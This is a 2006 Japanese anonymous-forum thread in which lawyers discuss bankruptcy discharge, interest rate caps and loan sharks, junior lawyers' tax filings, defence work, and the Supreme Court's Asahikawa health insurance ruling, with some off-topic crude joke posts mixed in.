739 :無責任な名無しさん:2006/02/23(木) 13:45:36 ID:H13NoN1P
俺自身も管財人やりながら,何か甘いよなって思うことが多い。

740 :TN:2006/02/23(木) 14:18:58 ID:0vMaixb3
平成5年頃だったか一時的に免責の判断が厳しくなった時代があったが直ぐ元に戻った。
担当した事件で唯一の免責不許可はそのころのこと。

741 :無責任な名無しさん:2006/02/23(木) 18:14:57 ID:dvJq1Mu+
まあ、免責が甘いのは確かにそうだろうけど、免責不許可にしても
どうしようもないしな。
モラルハザードより自爆テロの方が社会的にもマイナスが大きいだろうし。
サラ金はなんだかんだ言ってもまだ儲かってるし。

742 :無責任な名無しさん:2006/02/23(木) 22:38:55 ID:anqpRvmM
少額管財すらやらない地方の自己破産の方がモラルハザード深刻。

743 :無責任な名無しさん:2006/02/23(木) 23:34:46 ID:++f/pa0F
法律で、18%または20%以上の利息を取っては行けないと知りながら、
しかもみなし弁済の要件を満たしていないと知りながら、利息制限法違反の
利息をとる貸金業者のモラルは誰も問題にしないのですか。そうですか。

744 :無責任な名無しさん:2006/02/23(木) 23:50:29 ID:GdHZEWvx
>>743
貸金業者にモラルを期待する方がどうかしてる。



745 :無責任な名無しさん:2006/02/24(金) 00:27:26 ID:tzyjt4Rg
出資法が改正されたら、中小サラ金がやっていけないのは事実だな。
18%の範囲内で、営業経費と破産リスクを安定的にカバーできないでしょ。
今年は、大丈夫でも、次の年は多数の破産者が出て倒産とか。

大手サラ金と銀行サラ金の時代かもね。あ、あと闇金の時代だね。


746 :無責任な名無しさん:2006/02/24(金) 00:38:30 ID:HQZjVaVZ
ヤミ金に関しては、ニワトリとタマゴの議論だなあ。
利率が低ければ、返済のために借りる人も減るわけで、ヤミ金への需要が増えるとは
必ずしも言えない。
計画的に生活することができない人や失業して職の見つからない人などは一定数出てくる
から、そういう人はまともな業者が減る結果、ヤミ金に走りやすくなるとは言えるだろうね。
でも、そういう人は、現状でも遅かれ早かれ破綻して破産かヤミ金かの選択を迫られるの
ではなかろうか。


747 :無責任な名無しさん:2006/02/24(金) 00:43:03 ID:tzyjt4Rg
>>746
利率が低いと言うことは、大手でもカス相手を選ぶ或いは限度額を下げるわけだから、
正規業者から借りられなかったひとが、闇金に手をだすとおもうが。

748 :無責任な名無しさん:2006/02/24(金) 00:52:12 ID:HQZjVaVZ
>>747
何をおっしゃってるのかよく分からないままレスしますが、
借主というのは、借りる必要があるから借りるのです。
現状において、すでに存在する債務の返済のため借りる
という動機が、業者の売上げの大きな部分を占めている
と認識しています。
利率が低ければ、借りて返済する必要がないから新たな
借入をしないという人が出てくると思います。

あなたの議論に合わせるなら、「正規業者から借りられな
かった人」は、現状よりもずっと少なくなる可能性があると
いう主張です。

749 :無責任な名無しさん:2006/02/24(金) 01:17:13 ID:tzyjt4Rg
>>748
わたしも、新たな借入をしない人は増えると思います。
ただ、一方で闇金に手を出す人の数も増えると思っています。
私の経験では、一旦金銭感覚が麻痺した人には、正規業者も闇金業者も同じに見えてると思ってるからです。
正規業者が貸さない以上、闇に走ると考えています。


750 :無責任な名無しさん:2006/02/24(金) 01:51:46 ID:TtFdk/Fj
金利は法で縛るものではないのではないかな?
自由にさせればいいと思うよ!
借りる人は大変な支払が後から来る事ぐらいは
認識しているはず。

751 :無責任な名無しさん:2006/02/24(金) 02:22:11 ID:HQZjVaVZ
>>749
そもそも、>>747の、大手が貸す相手を選択したり、限度額を下げるかどうかが
問題だと思います。利率が下がるということは、顧客一人当たりの利益が減ると
いうことです。
業者が、ここで、貸倒の少ない優良顧客だけを相手にしようとすると決まっている
わけではありません。一人当たりに利益が少ないわけですから、逆に貸し出す
相手を増やしたり、限度額を増やして、一件当たりの利益を増やす可能性だって
あります。

次に、金銭感覚が麻痺した人の話ですが、こういう人は、現状でもヤミ金に走って
いるのではないですか。


752 :無責任な名無しさん:2006/02/24(金) 06:40:34 ID:lKUQfprJ
東京司法書士政治連盟顧問
衆議院議員 伊 藤 公 介 殿
参議院議員 山 口 那津男 殿
http://www.seiren.tsknet.or.jp/Doc/detail.phtml?code=link

753 :無責任な名無しさん:2006/02/24(金) 09:19:01 ID:3C2oqaTF
伊藤公介はチャングムにでてくるチェゴサングンにそっくりだな。
見れば見るほど似ている。

754 :無責任な名無しさん:2006/02/24(金) 10:22:44 ID:mXspz2P8
そもそも利息制限法以内で貸す業者から借りられないような人は、それ自体で
既に破綻状態だというべきではないだろうか。

755 :無責任な名無しさん:2006/02/24(金) 10:23:18 ID:XJ0mVI4y
>>750
非弁乙。

756 :無責任な名無しさん:2006/02/24(金) 10:27:09 ID:j00YWoiO
もう、この際、ヤミ金は麻薬特例法並の法定刑にする方向で法改正して欲しい。

757 :無責任な名無しさん:2006/02/24(金) 10:52:40 ID:N1UFK4D0
 最近、金曜日になると心身ともに疲労を感じる。
 土日に仕事をしようと自分に言い訳して帰るのだが、土日は土日でしんどくて家で寝ている。
 そんでもって仕事がたまっていく・・・
 クレサラ事件は、グレーゾーンで貸すほうも貸すほうだが、借りるほうも借りるほうで、いい加減な依頼者が多くて困る。


758 :無責任な名無しさん:2006/02/24(金) 11:26:00 ID:Wov2V1YK
俺なんて、破産の書類を持ってこいと言ってるのに、なかなか
持って来ないで、はや一年というのを2件抱えてるよ。
マジやばいよ。

759 :TN:2006/02/24(金) 11:47:32 ID:ITwfgrU9
そういうのはさっさと辞任しましょう

760 :無責任な名無しさん:2006/02/24(金) 12:15:19 ID:azbkOyUr
そもそも消費者金融があるのがおかしい。
物が欲しけりゃ、金を貯めてから買いな

761 :無責任な名無しさん:2006/02/24(金) 12:36:35 ID:LZzkVg28
女医 
女歯科医 
女薬剤師
============ 天才理系
超えられない壁
============ 障害文系
女弁護士
女公認会計士  
女税理士

762 :無責任な名無しさん :2006/02/24(金) 13:12:15 ID:tF60KuaR
60期予定なんですが、採用は現行とローのどちらが優遇なんでしょうか?
田舎で周りにBがいないため質問できないんで・・

763 :無責任な名無しさん:2006/02/24(金) 13:28:28 ID:UgqUfQnp
>>762
そんなこと気にしてどうする。
どっちを優遇するかというより,その人個人の能力と適性の問題。

764 :無責任な名無しさん:2006/02/24(金) 13:48:34 ID:XJ0mVI4y
当然現行。
ローなんて問題外。
現行がある限りは現行優先。

765 :無責任な名無しさん:2006/02/24(金) 14:38:39 ID:OqcHqxHe
>>764
同意。

766 :無責任な名無しさん :2006/02/24(金) 15:18:38 ID:tF60KuaR
回答ありがとうございました。
母校のローの教官も現行優先と言ってくれたんですが、気をつかってる可能性もあったので。
実質3000人での就活となりますが頑張ります。

767 :無責任な名無しさん:2006/02/24(金) 15:28:08 ID:/cDU2y1y
>>758
俺なんて,書類持ってきて1月たつのにまだやってない奴が2つあるよ
イソなんで上から仕事が降ってくるとどうしても後回しになる

768 :無責任な名無しさん:2006/02/24(金) 17:10:01 ID:oTNGJlrR
有名大学のローでない限り就職は極めて困難だろうな。

769 :無責任な名無しさん:2006/02/24(金) 20:50:26 ID:/axz+LFZ
破産で債権者がすべてサラ金なら免責は当然だと思うが、
親切で金を貸した友人知人が混ざっていると、内心では
「免責不許可にしてくれ。」と思う。

この感覚って変かな?

770 :無責任な名無しさん:2006/02/24(金) 21:11:18 ID:iVS3Sp68
>>769
金貸して踏み倒された非弁乙。

771 :無責任な名無しさん:2006/02/24(金) 21:20:38 ID:lKUQfprJ
誤解を招く通達を出し、司法書士の定款作成を新会社法施行までに間に合わせたかった法務省。
18日の照会からたった2日で回答。しかも、司法法制部とも協議済みとのおまけつき。
通達を出した当日に司法書士会と公証人会に手際よく通知。
しかし、MLに匿名で流された情報で知った行政書士個人からの照会には協議をするといって時間稼ぎ。

司法書士は喜び勇んで各地域の司法書士会に通知。京都会の幹部や東京司法書士政治連盟などは、よろこびをホームページで表明した。

ところが、、。悪夢はここからである。
公証人役場からこの情報を聞きつけた行政書士会は、早速法務省に照会。
しぶしぶ、司法書士の定款作成は違法であるが、定款そのものが無効というわけではないので受け付けるという意味であると明かす。

公証人会からも疑問の声があり、法務省は登記研究3月号に、司法書士が定款作成することは違法であると明記すると釈明。
民事局第二課を通じて司法書士会連合会にも、定款作成は違法であると厳重指導を約束。
全国の公証人役場にも、この旨が通知され、いままで通り司法書士の作成した定款は認証しないように要請した。
商業登記の開放が現実的になったため、法務省管轄の司法書士資格の権益確保に奔走し、勇み足をしてしまった格好だ。
かくして、司法書士の定款作成は違法であると再確認された。

772 :無責任な名無しさん:2006/02/24(金) 21:22:25 ID:y3azh54x
>>771
行書さん乙

773 :無責任な名無しさん:2006/02/24(金) 21:51:31 ID:lKUQfprJ
ずさんな破産申立をしている司法書士に注意
http://www.bengoshisoudan.com/column/column041104.html

774 :無責任な名無しさん:2006/02/24(金) 22:24:38 ID:7va98H9J
「弁護士ファンド」を組んで、悪質サラ金株を空売りしよう。
新株発行による資金調達ができなくなる。で、空売りで儲けた利ざやで「消費者事
件対策基金」を作る。一石二鳥だろう。

775 :無責任な名無しさん:2006/02/24(金) 23:22:01 ID:KyMrVds4
【1:1】【ドンキ・ホーテ】あさひ・狛【敵対的買収】
1 名前:氏名黙秘 2006/02/24(金) 23:18:32 ID:???
最近、ドン・キホーテの敵対的買収で
名前を上げた江尻隆先生が率いる
あさひ・狛法律事務所について
情報を交換しましょう。
http://school5.2ch.net/test/read.cgi/shihou/1140790712/l50

776 :無責任な名無しさん:2006/02/24(金) 23:25:34 ID:WwarjwK4
>>774
それこそ、みなし弁済の判決もらう前とかだったら可能だっただろうなあ。

777 :無責任な名無しさん:2006/02/25(土) 00:54:21 ID:L2dzVwVm
司法書士の実体は以下の通り。
みすてないで
http://www.zssk.org/archives/touhaigo/index.html
大阪司法書士会臨時総会訴訟について
http://www.aoitakigawa.com/osakasihoushosi.html
今回の銀行合併と司法書士の関係について
http://shihoushosi.at.webry.info/200601/article_3.html


778 :無責任な名無しさん:2006/02/25(土) 01:23:44 ID:tHUn/pmL
>>773
おれ、司法書士申立の破産の管財人引き受けた。
利限法引き直し一切しておらず、多分、100パーセント配当になるだろう。

最初書類見せてもらったとき、申立取り下げたらどうですかって、
司法書士にも裁判所にも言ったんだけどね。
どうしたものやら。

779 :無責任な名無しさん:2006/02/25(土) 01:29:16 ID:tHUn/pmL
>>776
http://d.hatena.ne.jp/Barl-Karth/20060116
この先生、シティズ最高裁判決の前に空売りしてたらしいね。
3/17に、シティズで、特別上告事件の判決があるが。
憲法判断がされるだけに、結構大きく報道されるかも。

780 :無責任な名無しさん:2006/02/25(土) 08:16:56 ID:2TDfxCae
やっぱり弁護士の友達が欲しい
ttp://shihoushosi.at.webry.info/200602/article_4.html

781 :無責任な名無しさん:2006/02/25(土) 10:43:23 ID:QSvYnETJ
16歳 由美(高校の同級生・おこちゃまな付き合い)
20歳 佐知子(中学時代の同級生。いきなし遠距離恋愛。。。)
20歳 香織(名門短大生で数え切れないくらいSEX)
20歳 知子(合宿自動車学校でのリゾートラブ・コンパニオン。ラブホへ)
21歳 知恵(名門短大生・処女)
22歳 佳枝(看護学生・処女)
22歳 真紀(名門女子高生・俺の家への外泊がばれて退学。。。)
23歳 慶子(大学のゼミの後輩・遠距離恋愛もした)
23歳 美和子(大学の同級生・浮気)
23歳 由貴子(大学のゼミの先輩・浮気)
27歳 敦子(友達の紹介・セフレでいいとのことだったので)
28歳 葉(合コンしたOL)
28歳 美奈(友人の紹介。何度もヤッテ逃げた。着信拒否。)
28歳 真美 (出会い系サイト。日本から韓国大学へ入学した女)
29歳 美穂(JAL国際線のスッチー。結婚考えるもやっぱ逃げた。彼女がストーカー化)
31歳 理恵子(会社の派遣社員。年上で33歳。)
31歳 ゆり(合コンの流れでそのままホテルへ)
32歳 バツイチ(ナンパしてクラブのトイレでフェラチオ)
32歳 智子(会社の同僚。TOEIC800点で海外営業の才女)
32歳 リ・エイ(中国から大学進学のために来日した娘を援助しつつ。。。)
33歳 純代(バツイチで落ち込んだところを家に連れ込んで胸モミ)
33歳 ダンサー(ダンスの先生をナンパ。安藤美姫似でスタイル抜群。)
33歳 人妻(クラブでナンパしてお持ち帰り。子供は小学生の35歳らしい)
33歳 キョウカ(慶応卒だが今はフリーター。結婚しようかと思ってる。相手27歳)

これが俺の性遍歴です。どんなものでしょうか。

782 :無責任な名無しさん:2006/02/25(土) 12:54:28 ID:WvLBQFZj
もうすぐ赤玉だなw

783 :無責任な名無しさん:2006/02/25(土) 13:04:09 ID:L2dzVwVm
おまえら、『いま、会いに行きます』って映画知ってるか?
原作も映画も、主人公の職業は司法書士事務員だった。

TVドラマ化されると聞いて、おれの友達の受験生はよろこんでいた。
「ようやく、マイナーな司法書士もメジャーになる日が来た」ってね。

ところがだ。TVドラマを見てビックル飲みまくり。
主人公の職業が司法書士ならぬ図書館司書にされていたのだ。

784 :無責任な名無しさん:2006/02/25(土) 14:13:10 ID:X/O5bZ/P
そういや,101回目のプロポーズでも,武田鉄矢が読んでいた本が司法書士の本だったなんてこともあったな

785 :無責任な名無しさん:2006/02/25(土) 18:13:56 ID:zIk4VDDg
武田鉄矢ならいい司法書士になる予感www

786 :無責任な名無しさん:2006/02/25(土) 21:17:23 ID:Taf4WUys
確か司法試験の勉強してるはずだったのにね

787 :無責任な名無しさん:2006/02/25(土) 22:42:42 ID:SW1txaHQ
あああああ、確定申告の計算忘れてた

788 :無責任な名無しさん:2006/02/25(土) 23:02:12 ID:V4ZnAg4S
>>787
俺もまだやってない

789 :58期です:2006/02/25(土) 23:44:38 ID:si32tMbW
 確定申告の事なんですが,最初の登録費とか毎月の会費って当然経費ですよね?
それで,ボスからの給料を給与収入(源泉徴収票をくれました),個人事件を事業
収入にして,会費等は全部事業収入の経費として申告しても大丈夫なんでしょうか?
 それと,去年中に終結したけど,報酬の振り込みは今年の2月だった国選事件
は去年の収入なんでしょうか?ウチの県では弁護士会経由で報酬が振り込まれる
んですが,源泉徴収額とかを書いた書類(支払調書でしたっけ?)は送られてき
てません。

790 :無責任な名無しさん:2006/02/26(日) 00:01:52 ID:wmXA2Jid
>>789
第1文 経費です
第2文 大丈夫
第3文 今年の収入

791 :無責任な名無しさん:2006/02/26(日) 02:01:43 ID:KvnQryYf
個人的見解とはいえ弁護士の言動は……です。

イエメンより酷い
http://benli.typepad.com/annex_jp/2006/02/post_15.html

792 :無責任な名無しさん:2006/02/26(日) 07:50:18 ID:GJDh9UIv
>>791
見たけど,あり得る見解じゃないの?特にどうとも思わないな。

793 :無責任な名無しさん:2006/02/26(日) 08:12:08 ID:buaASo7T
俺もそういう見解があることについて別に違和感はないけど。
禿同とはいわないが。


794 :無責任な名無しさん:2006/02/26(日) 09:50:29 ID:qhAwsqPT
>>791

あなたにとって、この弁護士の意見のどこが問題なのか
具体的に指摘してみてよ。

795 :無責任な名無しさん:2006/02/26(日) 10:06:53 ID:+XeRtDjq
そういやこの弁護士は,粘着とよくお祭りやってる人ですな

796 :無責任な名無しさん:2006/02/26(日) 10:13:42 ID:KvnQryYf
>>794
「イエメンという国を持ち出してまでそんな自説を展開するのか?」
 これは見解の相違で何とかなると思われる。
「イエメンという国の法律調べてから書いているのか?」
 これは調べて書いたものでないことが判明したらいっぺんで信用を失う
 弁護士は調べもしないで書くのか!という噂が流れるのが同業者として怖い

見解の是非ではなく、世間に自説を公知するならキチンと調査しておかないと
弁護士全体の信用問題に発展する(世間はそう見る人が多い)のが怖いだけです
発言には業界での責任が伴うということを言いたかっただけ
業界内の発言ならまだしも一般通常人が見るネットでは特に

797 :無責任な名無しさん:2006/02/26(日) 10:59:06 ID:buaASo7T
>弁護士全体の信用問題に発展する(世間はそう見る人が多い)

おいおいwww

798 :無責任な名無しさん:2006/02/26(日) 11:38:14 ID:KvnQryYf
>>797
もちろんそうならないことを同業者として願います。m(_ _;)m

799 :無責任な名無しさん:2006/02/26(日) 12:46:00 ID:Hm41X2dO
58さん
会費。会費は給与所得と事業所得との按分では?個人事件のためだけに
会費を払ってますか?
とはいっても、ほとんどの弁護士があなたのような処理をしてるようです。


800 :無責任な名無しさん:2006/02/26(日) 12:58:30 ID:+q5A4sYt
>>791
非弁乙

801 :無責任な名無しさん:2006/02/26(日) 14:38:16 ID:JtfNV7y3
被告人に対して、被害者はこう言って怒ってたよ、と
遠回しに反省を促しても、一向に蛙の面に水の様子。
弁償はどうせ母がしてくれるから、それでやっといて、
という感じで、母の方も子がかわいいのか、ハイハイ
出しますよと。
皆様、国選で被告人に説教とかします?
するとすればどの程度?
きついこと言って反発されて、以後意思疎通に
支障をきたすよりは、どうせこの人とも今回限りの
縁なんだからと割り切って、無難な当たり障りの
ないことを言って済ますか。
それとも、ここでしっかり言っておくのが彼(彼女)の
ためだと考えて、反発覚悟で厳しく説教するか。
皆様はどうしてます?
裁判官や検察官じゃないんだから前者でいいのかな。

802 :無責任な名無しさん:2006/02/26(日) 14:53:20 ID:mqEhH9cp
>>801
少年事件では,反省を促すよう一生懸命対話するけれど,
成人の刑事事件ではあんまり説教しない。
当職が言わずとも反省する人は反省してるし,ダメな人は何言ってもダメ。
ただ,被告人質問用に,反省のやり方・中身くらいは「考えておいてね。
裁判官は毎日毎日被告人を見てるから,本当に反省してるかしてないかを見抜くよ」
と言ったりはしてる。
本気で説教はしないけど,無難に当たり障りのないことだけを言って済ましてもいない,
といったところ。

803 :無責任な名無しさん:2006/02/26(日) 15:27:37 ID:EbyRHVBa
二部の大学行ってた人で弁護士になれた人いますか?

804 :無責任な名無しさん:2006/02/26(日) 15:30:33 ID:+XeRtDjq
説教(というか,上から怒鳴るとかじゃなくって,人の気持ちとか損得とかをネチネチと言う)するけど,相手によるね。

こいつはダメだなと思ったら,準備から公判からあらゆるものを必要最低限であっさりすませる。

805 :無責任な名無しさん:2006/02/26(日) 15:31:30 ID:+XeRtDjq
説教するとか言うより考えさせるって感じでしょうか

ま,ダメな奴は何をやってもダメだから,被告人によるけど

806 :無責任な名無しさん:2006/02/26(日) 16:01:09 ID:fYeYh7v9
>>803
大学に行かずに弁護士になった人も過去には存在している。
司法試験が変わるので、今から目指すのであれば、二部の大学を出た後、法科大学院へ。
板違いなので、詳細は司法試験板で聞いてきなさい。

807 :無責任な名無しさん:2006/02/26(日) 16:19:18 ID:EbyRHVBa
さんくす

808 :無責任な名無しさん:2006/02/26(日) 19:32:39 ID:1z1NrlQC
 酒を飲んでは女を殴り,町に繰り出し,堅気の男を殴るという同じことを6回繰り
返した男がいて,私は私選弁護人として2回付き合った。3回目にはさすがに付き合
えなかった。
 私が付添人になった少年は,再非行率が多いのだが,再非行してもなぜか,2度目
の保護観で救われる。

809 :無責任な名無しさん:2006/02/26(日) 20:20:01 ID:qmOWpYJg
>>808
再犯率や再非行率が高いなら、それまでの弁護活動が適切だったか反省してみる必要があるな。
自白事件で在宅処遇(執行猶予や保護観察)が見える場合、最大の目標は再犯防止だろ。

810 :無責任な名無しさん:2006/02/26(日) 20:34:49 ID:USg7OEiU
フッ。

811 :無責任な名無しさん:2006/02/26(日) 21:11:12 ID:v+Tjb53V
>>803
非弁乙



812 :無責任な名無しさん:2006/02/26(日) 21:28:20 ID:v+Tjb53V
ロー出で若手とコネが有る以外に就職できると思いますか?


813 :無責任な名無しさん:2006/02/26(日) 21:39:32 ID:uuFIm0u6
>>803
マジレスするといくらでもいるよ。

814 :無責任な名無しさん:2006/02/26(日) 21:39:52 ID:QwBLWE/D
法テラスになら可能

815 :無責任な名無しさん:2006/02/26(日) 21:48:10 ID:v+Tjb53V
なるほど、うちは地方もので法テラスなんてしゃれたものがないもので


816 :無責任な名無しさん:2006/02/26(日) 21:50:26 ID:QwBLWE/D
支部なら出来ないだろうけど、本庁あるとこだったら出来るよ
確か今年の10月くらいからです。


みんなちょっと聞いてよ
俺の勤めてる会社明日が休みなのよね。
んで、まぁ義理で今日バレンタインデーチョコ貰ったんだが
俺が片思いしてる子が
「あんたモテナイから1個やるね」ってチロルチョコみたいなチッコイの貰った訳

んで、今それ空けたら中に携帯番号が書いてあって
「もし良かったら明日どっかに出かけない? チョコはその時渡す」って書いてあったの
もう、俺嬉しくて嬉しくて。生きてればこんな事ってあるんだなぁ・・・まるで作り話みたいだけど
本当に作り話なんだ



817 :無責任な名無しさん:2006/02/26(日) 22:04:02 ID:SIee8t2i
>>816
ホワイトデーまでに、その話のver.upしておいてね。

818 :無責任な名無しさん:2006/02/26(日) 23:16:39 ID:TD3Hbxwr
おいらは説教はしないけど、公判では被告人を糾弾しまくりだな。
検察官につっこまれる前につっこんどいた方がいいと思うから。

一応、弁論要旨でフォローはするが。

819 :58期です:2006/02/26(日) 23:20:30 ID:vU5ghWM5
>>790
ありがとうございました。
>>799
 僕もそこは気になっていたんですが,按分すると事業収入の経費に回せるのは
1割ぐらいになっちゃうんですよねorz
 でも全部事業収入の経費にしている人の方が多数派なら僕もそうします。
 税務署もせいぜい20万くらいの経費のことでうるさく言わないことを
期待してます。
 

820 :無責任な名無しさん:2006/02/27(月) 00:39:31 ID:CGFFoimQ
>>819
イソ弁で税務調査受けたやつの話なんか聞いたことがない。

821 :無責任な名無しさん:2006/02/27(月) 00:51:38 ID:yhfB81Q6
支援センターって各都道府県に設置されるんじゃないの?

822 :無責任な名無しさん:2006/02/27(月) 00:58:48 ID:MSjjtZZo
>>811
非弁って何ですか?

823 :無責任な名無しさん:2006/02/27(月) 02:05:55 ID:CnonxfW8
ダミダコリャ

824 :無責任な名無しさん:2006/02/27(月) 11:28:04 ID:XOT0o19v
http://www.bloomberg.com/apps/news?pid=90003017&sid=aUbIY04r92wc

利息制限法を廃止し、出資法一本なんて言っているぞ。

825 :無責任な名無しさん:2006/02/27(月) 12:17:49 ID:zGYQtwGZ
>>821
本庁ごとじゃないの?
北海道は4つ?

826 :無責任な名無しさん:2006/02/27(月) 14:29:34 ID:zGYQtwGZ
女にもてると自信たっぷりのハンサム男が、難なく魅力的な女性をゲットして自分のアパートへ連れ込んだ。
セックスが終わった後、男は女の身体から身を離して煙草に火をつけてうまそうに吸った。
しかし女がベッドから飛び出してこう言った。

女:「あなたは確かにいい男だけど、セックスはお粗末この上ないわね」

と言ったものだから、この自惚れ男の顔が引きつった。
プライドを傷つけられた男は憤慨して彼女に吠えた。

男:「専門家みたいに、偉そうに批評しやがって!たった20秒で一体お前に何がわかるって言うんだ!」

827 :無責任な名無しさん:2006/02/27(月) 17:46:27 ID:r/bIEhjt
こんなアメリカンジョークでおそらくコピペに笑ってしまった自分が嫌だ

828 :正剛:2006/02/27(月) 18:32:36 ID:zGYQtwGZ
>>827
そんなおまえのこと。俺は好きだぜ

829 :58期です:2006/02/28(火) 00:00:17 ID:zXk1jq1p
>>820
 言われてみれば,収入ベースですら1000万円にも届いてないのに
税務署が来るわけないですよね。
 ただ,何せ初めての申告なもので細かいことも気になってしまいました。
 

830 :無責任な名無しさん:2006/02/28(火) 02:34:39 ID:SWVWobtP
北海道旭川市の無職杉尾正明さん(70)が、国民健康保険料の徴収方法を不服として
起こした行政訴訟の判決が、3月1日に最高裁大法廷(裁判長・町田顕長官)で言い渡さ
れる。年に数件の裁判しか行わない大法廷に、弁護士を頼まない「本人訴訟」でたどり着
いた。

市を提訴しようと考え、地元の弁護士事務所を訪ね歩いたが、
ことごとく断られ、95年、本人訴訟に踏み切った。
http://www.yomiuri.co.jp/national/news/20060227it06.htm


831 :無責任な名無しさん:2006/02/28(火) 02:55:48 ID:Llo5ZVc/
旭川の弁護士は何をしていたんだ?

832 :無責任な名無しさん:2006/02/28(火) 08:34:41 ID:sZcWmyeX
仕事に忙しいんだろう

833 :無責任な名無しさん:2006/02/28(火) 11:32:51 ID:UjrDIVOA
考えられる理由として
1 地方の弁護士は忙しい。受ける余裕がなかった
2 行政訴訟に詳しい弁護士が旭川にはいなかった
3 弁護士費用が折り合わなかった
4 判例学説に照らして勝訴の見込み無しと判断したから断った
5 ウマが合わないと思ったから断った
6 市を相手にするのが嫌だった

このうちどれか(これ以外か)は知らないけれど,それにしても本人訴訟で大法廷っていうのはすごいね。
普通の弁護士なら小法廷でさえ一生に一度立ち会えるかどうかなのに。敬意を表するよ。

834 :無責任な名無しさん:2006/02/28(火) 11:43:21 ID:AE/OJSu5
大法廷ってことは
違憲判決が出るのか?

835 :無責任な名無しさん:2006/02/28(火) 11:59:03 ID:MhGDmzbF
ていうか、おまいらならその依頼を受けるのか?

836 :無責任な名無しさん:2006/02/28(火) 12:04:50 ID:e7yig7N4
>>834
一審で、条例の違憲判決が出ている。

837 :無責任な名無しさん:2006/02/28(火) 12:22:38 ID:0ZE6Ep/M
違憲判決出るんだろうな
高裁合憲のあと弁論あったしな

838 :無責任な名無しさん:2006/02/28(火) 16:05:03 ID:hyltUJDq
弁護士って年収いくらくらいですか?

839 :無責任な名無しさん:2006/02/28(火) 16:11:22 ID:7T4buPOX
>>829
58期です。確定申告のやり方だけど、事業所得に弁護士登録費用や弁護士会会費などの経費を付けて申告した場合、通常、事業所得はマイナスになるけど、マイナス分は損益通算して給与所得と相殺できるよ。
結局、漏れは5〜6万円は戻ってきそうな感じだね。

840 :無責任な名無しさん:2006/02/28(火) 19:56:52 ID:/2fycHFM
いまからでも受任しとけば善かったと思ってる
弁護士がいるだろう・・・。
違憲判決を勝ち取るなんて名誉なことだからなあ。

ちなみに、損益通算しようとしてる↑様
調子に乗ってやり過ぎるとえらいことになるよ!

841 :無責任な名無しさん:2006/03/01(水) 01:33:01 ID:sFJGxDa5
法テラスにいって 労働相談したら 社労士居ないのに気付いて なぜか司法書士〜

法テラスに行って 遺言相談したら 行政士居ないのに気付いて なぜか司法書士〜

法テラスに行って 境界相談したら 調査士居ないのに気付いて なぜか司法書士〜

法テラスに行って 家事相談したら 弁護士居ないのに気付いて なぜか司法書士〜

法テラスに行って 司法書士の紹介うけた 無料相談のつもりが 扶助から5000円〜

法テラスに行くと いつも司法書士が居る 彼らの費用も扶助から 支払われるのかな〜

842 :無責任な名無しさん:2006/03/01(水) 01:39:15 ID:bSK5tIDM
安心しろ
そのうちその司法書士以下のロー出弁護士で呆テラスはいっぱいになるから

843 :無責任な名無しさん:2006/03/01(水) 02:59:29 ID:pPLC15xQ
     _,,.-'';;;;;;;;;;/  l| i   /// {{i´      `''=シ、彡'、
    ヾ;;;;;;;;;;;;:-''{   ヽ`ニ=彡/  `''ー    (´  iヽ  ヽ
       ヾ/   '、_,,ノ ,,..ニシ--、,,_        _,-i ヽ }!
      /    /   / ((彡, ミ=r=≧;;-   /≦=ヤト、 )ツ
     {!   /    >、ミ= 、ヽゝヾ;;シ``   l"k;;シチ ))´ノ!
     lヽ、 ,'    (   ̄`ヾ.) ^^^`    i ´^^`/'´ ハ
     >、ヽ|    ヾミ=‐イ          '、  (__彡'  ',     
    /,.- ヾミ、    {`=彡r,.       /  (´_彡'i、  !   
    .l/=-'´ ̄ヽ、   `{´ { {{{i、_ノ  ー-`ニ-   ∧ !  ヾ!,ノ  イナバウアー婦人
   /´/ ,,. ‐={ヽ、   ``ヽ ̄ヽ、 `''ー'  ,.イリノ' ヽ  |l!
  ./ ,,.=l/ ,,.=={ヽ、` = _  、ヽ  ` 、   ,.イ ,,.ノ  l ノ==、
  l/ ,r=f//´ ̄ト、 `= __ ヾ、ヽ ',    `´ !/  _,,,.ノヽ==、ヽ


844 :無責任な名無しさん:2006/03/01(水) 15:37:27 ID:8PzLswiC
男性の上告は棄却されました。

845 :無責任な名無しさん:2006/03/01(水) 16:09:54 ID:rs46Zwxv
イソ弁時の損益通算って,どれくらいまで許容範囲なのかな?
事業所得のマイナスが100万円台になってなきゃ大丈夫だよね。


846 :無責任な名無しさん:2006/03/01(水) 16:18:13 ID:bVKLsl99
>>844
大法廷で弁論開いて負けというとレペタ訴訟のパターンか。
いろいろ行政に対する注文は付けてはいるのだろうが。
行政べったりの藤田は、当然補足意見書いてるだろうな。

847 :無責任な名無しさん:2006/03/01(水) 16:59:05 ID:lSOOmdg2
旭川国保料訴訟、上告棄却の判決 最高裁大法廷
http://www.asahi.com/national/update/0301/TKY200603010276.html

北海道旭川市の国民健康保険(国保)条例をめぐり、保険料の具体的な料率を明示せず、
行政の告示で定めていることが、法律や条例に基づかない課税・徴収を禁止している憲法
84条の租税法律主義に違反するかが争われている訴訟の上告審判決が1日、あった。
最高裁大法廷(裁判長・町田顕長官)は「保険料には憲法84条の規定は直接適用されない。
同条の趣旨は及ぶが、旭川市の条例は同条の趣旨に反するとはいえない」と述べ、原告
男性の上告を棄却した。



848 :無責任な名無しさん:2006/03/01(水) 18:19:04 ID:xQNi0MiL
うーん。。。大法廷で棄却か・・・

849 :無責任な名無しさん:2006/03/01(水) 18:27:45 ID:bVKLsl99
http://courtdomino2.courts.go.jp/judge.nsf/$DefaultView/A9D0E01C32F7B2624925712400312D1C?OpenDocument
補足意見も滝井だけ。とんだ肩すかしだな。

850 :無責任な名無しさん:2006/03/01(水) 19:18:47 ID:wjIVjfoG
>>779

「ドイツ証券」という馴染みのない証券会社 なんて言ってる段階で素人丸出しだな

851 :無責任な名無しさん:2006/03/01(水) 19:20:44 ID:CFkbEXLG
だな

852 :無責任な名無しさん:2006/03/01(水) 20:01:47 ID:XSUeTDon
田舎の市町村は信じられないことをたまにやっている。
一番おどろいたのが、税の滞納者に対し、児童手当を勝手に
相殺していたのとかあった...

853 :無責任な名無しさん:2006/03/01(水) 20:23:00 ID:foV59kbF
 たまに大法廷を使わないと,税金の無駄遣いとか言われるだろうし,そう
いう理由だろう。
 団藤重光以降,ちゃんとした学者判事はいたかね? 名前さえ思い浮かばない。

854 :無責任な名無しさん:2006/03/01(水) 20:24:26 ID:foV59kbF
 この際思い切って久保利か高山を最高裁に送り込もう。
どっちも送り込むと,結構良いかもしれない。

855 :無責任な名無しさん:2006/03/01(水) 21:14:10 ID:/+mq8f+C
小法廷によって当たりはずれが出るかもしれない

